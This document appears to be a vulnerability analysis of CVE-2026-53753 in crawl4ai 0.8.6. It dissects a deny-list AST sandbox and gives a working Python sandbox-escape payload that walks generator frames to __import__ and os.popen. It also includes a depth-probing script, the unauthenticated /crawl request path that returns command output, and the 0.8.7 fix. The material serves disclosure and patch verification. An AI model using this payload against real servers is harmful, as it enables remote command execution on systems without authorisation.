# Code-level analysis — CVE-2026-53753 A complete, line-by-line walkthrough: the vulnerable sink, the AST validator's exact checks, every AST node in the payload (and why each one passes), the runtime frame stack, the request data-flow, and the patch. --- ## 1. The vulnerable sink `crawl4ai/extraction_strategy.py` (v0.8.6): ```python _SAFE_EVAL_BUILTINS = { # the only builtins the sandbox is supposed to expose "str": str, "int": int, ... "list": list, "dict": dict, ... "isinstance": isinstance, "type": type, } # note: no __import__, no eval, no open, no getattr def _safe_eval_expression(expression: str, local_vars: dict): tree = ast.parse(expression, mode="eval") # (A) parse attacker string to AST for node in ast.walk(tree): # (B) validate every node if isinstance(node, (ast.Import, ast.ImportFrom)): raise ValueError("Import statements are not allowed in expressions") if isinstance(node, ast.Attribute) and node.attr.startswith("_"): raise ValueError(f"Access to private/dunder attribute '{node.attr}' is not allowed") if isinstance(node, ast.Call): func = node.func if isinstance(func, ast.Name) and func.id.startswith("_"): raise ValueError(f"Calling '{func.id}' is not allowed in expressions") if isinstance(func, ast.Attribute) and func.attr.startswith("_"): raise ValueError(f"Calling '{func.attr}' is not allowed in expressions") safe_globals = {"__builtins__": _SAFE_EVAL_BUILTINS} # (C) restricted builtins return eval(compile(tree, "", "eval"), safe_globals, local_vars) ``` The model is **deny-list by name prefix**. It inspects exactly four things: | Check | AST node type | Condition that rejects | |-------|---------------|------------------------| | import | `ast.Import` / `ast.ImportFrom` | always | | attribute read | `ast.Attribute` | `.attr.startswith("_")` | | call by name | `ast.Call` → `func` is `ast.Name` | `.id.startswith("_")` | | call by attribute | `ast.Call` → `func` is `ast.Attribute` | `.attr.startswith("_")` | Everything else — `ast.Subscript`, `ast.Lambda`, `ast.GeneratorExp`, `ast.NamedExpr` (`:=`), `ast.Tuple`, `ast.Constant` — is **never examined**. And the name check is *prefix-only*: any identifier not starting with `_` is fine, regardless of how dangerous it is. ## 2. The payload as an AST Payload (computed-field `expression`): ```python (lambda: ((g := (g.gi_frame.f_back.f_back.f_back.f_builtins['__import__']('os').popen('id').read() for i in [1])), list(g))[-1])() ``` What `ast.walk` yields, and the validator's verdict for each: | AST node | From source | Validator verdict | |----------|-------------|-------------------| | `ast.Call` (outer) | `(lambda: …)()` | `func` is `ast.Lambda`, not `Name`/`Attribute` → **not checked** → pass | | `ast.Lambda` | `lambda: …` | no rule for `Lambda` → pass | | `ast.Subscript` | `( … )[-1]` | no rule for `Subscript` → pass | | `ast.Tuple` | `(A, list(g))` | no rule for `Tuple` → pass | | `ast.NamedExpr` | `g := (…)` | no rule for `NamedExpr` → pass | | `ast.GeneratorExp` | `(… for i in [1])` | no rule for `GeneratorExp` → pass | | `ast.Call` | `list(g)` | `func` is `Name('list')`, `"list"` has no `_` prefix → pass | | `ast.Attribute attr='gi_frame'` | `g.gi_frame` | no `_` prefix → pass | | `ast.Attribute attr='f_back'` ×3 | `.f_back.f_back.f_back` | no `_` prefix → pass | | `ast.Attribute attr='f_builtins'` | `.f_builtins` | no `_` prefix → pass | | `ast.Subscript` | `['__import__']` | **subscript key never inspected** → pass (this is the dunder smuggle) | | `ast.Call` | `(…)['__import__']('os')` | `func` is a `Subscript`, not `Name`/`Attribute` → not checked → pass | | `ast.Attribute attr='popen'` | `.popen('id')` | no `_` prefix → pass | | `ast.Call` | `.popen('id')` | `func` is `Attribute('popen')`, no `_` → pass | | `ast.Attribute attr='read'` | `.read()` | no `_` prefix → pass | | `ast.Constant` | `'id'`, `'os'`, `1`, `-1` | no rule → pass | Not a single node trips a rule, so the validator returns and `eval()` runs the expression. ## 3. Why we need a *running* generator (`f_back` mechanics) A frame's `f_back` (the link to its caller) is only set **while that frame is executing**. A generator object you merely *create* is suspended — its `gi_frame.f_back` is `None`: ```python g = (x for x in [1]) g.gi_frame.f_back # -> None (never started) ``` So the payload must (a) reference the generator from inside its own body, and (b) actually drive it. Both are arranged here: * **Self-reference** — `g := (... g.gi_frame ... for i in [1])`. The `:=` binds `g` before iteration begins; the generator body reads `g` as a free variable. The surrounding `lambda` matters: it creates a function scope, so `g` is a **closure cell** (`LOAD_DEREF`) the genexpr can resolve. At module/`eval` top level it would instead be a global lookup and fail. (And `:=` cannot live in a comprehension's *iterable*, which is why it sits in a tuple element: `(g := …, list(g))`.) * **Driving it** — `list(g)` consumes the generator. `list` is in `_SAFE_EVAL_BUILTINS`, so it is allowed. *While* `list` is pulling the value, the generator frame is live and `g.gi_frame.f_back` is populated. ## 4. Runtime frame stack and the builtins swap At the moment the generator body executes, the live stack (innermost first) is: ``` g (genexpr, RUNNING) g.gi_frame builtins = _SAFE_EVAL_BUILTINS ^ .f_back eval("") sandbox frame builtins = _SAFE_EVAL_BUILTINS ^ .f_back body sandbox frame builtins = _SAFE_EVAL_BUILTINS ^ .f_back _safe_eval_expression() normal function frame builtins = ``` The key fact: `eval(code, {"__builtins__": _SAFE_EVAL_BUILTINS}, locals)` only overrides builtins **for the eval'd code's own frames**. The *calling* frame (`_safe_eval_expression` itself) keeps the interpreter's real `builtins`. So: ``` g.gi_frame.f_back.f_back.f_back.f_builtins == ``` `f_back × 3` is therefore the exact distance from the running genexpr to the first frame outside the sandbox. From there, `['__import__']('os').popen(cmd).read()` gives full command execution, and `.read()` returns stdout so the result travels back out as the field value. You can confirm the depth empirically: ```python from crawl4ai.extraction_strategy import _safe_eval_expression as E for d in range(1, 5): chain = "g.gi_frame" + ".f_back"*d + ".f_builtins" expr = f"(lambda: ((g := ({chain}.get('__import__') for i in [1])), list(g))[-1])()" print(d, E(expr, {})) # __import__ first appears at depth 3 ``` ## 5. Request data-flow (how the schema reaches the sink) ``` POST /crawl (auth: token_dep = lambda: None because jwt_enabled = false) -> server.py: CrawlerRunConfig.load(crawl_request.crawler_config) deserializes {"type":"JsonCssExtractionStrategy","params":{"schema":{...}}} -> JsonCssExtractionStrategy.extract(url, html) finds base elements via schema["baseSelector"] (needs ≥1 match, e.g.
) -> _extract_item(element, fields) for field in fields: if field["type"] == "computed": _compute_field(item, field) -> _compute_field(item, field) if "expression" in field: return _safe_eval_expression(field["expression"], item) # <-- SINK ``` `raw://` lets the request carry its own HTML, so the base selector matches without any outbound fetch. The computed field's value is placed into the extraction result and serialized into the `/crawl` JSON response — that is the in-band exfiltration channel for command output. ## 6. The fix (0.8.6 → 0.8.7) `0.8.7` does not try to harden the AST validator — it removes the `eval` path entirely: ```python # 0.8.7 _compute_field if "expression" in field: raise ValueError( "Computed field 'expression' is disabled for security " "(eval on untrusted input). Use 'function' key with a Python callable instead." ) ``` `_safe_eval_expression` no longer exists in `0.8.7`. Sending the same payload to a patched server returns the field's `default` (here `None`) and executes nothing — which is the binary discriminator between **VULNERABLE (≤0.8.6)** and **PATCHED (≥0.8.7)**.